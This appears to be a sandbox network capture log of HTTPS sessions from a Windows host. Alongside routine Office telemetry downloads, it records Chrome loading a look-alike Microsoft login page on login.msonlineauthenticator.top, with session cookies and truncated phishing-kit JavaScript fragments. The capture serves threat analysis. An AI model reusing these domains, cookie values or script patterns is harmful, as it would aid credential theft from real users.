2024-11-26 12:44:07 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-11-26 12:44:07 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-11-26 12:44:07 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2024-11-26 12:44:07 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:06 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:07 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124407Z-174f7845968ljs8phC1EWRe6en0000000v9g000000007c2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:07 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:07 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:07 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:07 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124407Z-174f7845968frfdmhC1EWRxxbw0000000vd000000000auck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:07 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49841	172.66.0.102	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:08 UTC	358	OUT	GET /fwd/api HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:09 UTC	961	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:09 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fi17unhlgvc5tn6ouin4sskpsr; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OWfNdVgUU3sIVrDPqac2XLbJRYw2r%2ByBaR7lmKM%2BoSU0RvpHoaq3x4ZiDeFuaVKtJMXmDdbFvTgqnjYqf%2BmkkdtZ6lZNr8a2apPgRmwkldnMcfpT5jfvhrxvNq5BZ9wZt9GxMknpanRNIV9ftoQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e89f7dc99df424b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1684&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2873&recv_bytes=936&delivery_rate=1836477&cwnd=248&unsent_bytes=0&cid=d01458c049bf0cc3&ts=689&x=0"
2024-11-26 12:44:09 UTC	72	IN	Data Raw: 34 32 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 4d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 64 61 74 61 22 2c 22 64 61 74 61 22 3a 5b 5d 7d 0d 0a 0d 0a 0d 0a Data Ascii: 42{"status":"error","message":"Missing required data","data":[]}
2024-11-26 12:44:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49843	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:08 UTC	2057	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90/697e47d51e6d8cca3cc04e14861a6d8f24131fd2a0218661bca3b5c9569e9cd3.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
2024-11-26 12:44:09 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:09 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:09 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:09 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:09 UTC	5	IN	Data Raw: 62 64 38 0d 0a Data Ascii: bd8
2024-11-26 12:44:09 UTC	3032	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 6c 65 74 20 66 6f 72 6d 47 72 6f 75 70 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 65 6d 61 69 6c 50 72 65 46 69 6c 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 6c 65 74 20 77 69 6e 42 75 74 74 6f 6e 4c 6f 61 64 65 64 20 3d 20 66 61 6c 73 65 3b 0a 0a 20 20 2f 2f 20 43 72 65 61 74 65 20 61 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 20 74 6f 20 77 61 74 63 68 20 66 6f 72 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 44 4f 4d 0a 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 6d 75 74 61 74 Data Ascii: window.addEventListener('load', function() { let formGroupLoaded = false; let emailPreFilled = false; let winButtonLoaded = false; // Create a MutationObserver to watch for changes in the DOM const observer = new MutationObserver(function(mutat
2024-11-26 12:44:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:09 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49842	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:09 UTC	1992	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90.js HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA
2024-11-26 12:44:09 UTC	17	IN	HTTP/1.1 200 OK
2024-11-26 12:44:09 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:09 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:09 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2024-11-26 12:44:09 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:09 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2024-11-26 12:44:09 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2024-11-26 12:44:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:09 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:09 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:09 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124409Z-174f7845968qj8jrhC1EWRh41s0000000v8000000000d8kg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:09 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:09 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124409Z-174f784596886s2bhC1EWR743w0000000vd000000000atun x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:09 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:09 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:09 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124409Z-174f7845968kvnqxhC1EWRmf3g0000000e4000000000c2xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:09 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49845	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
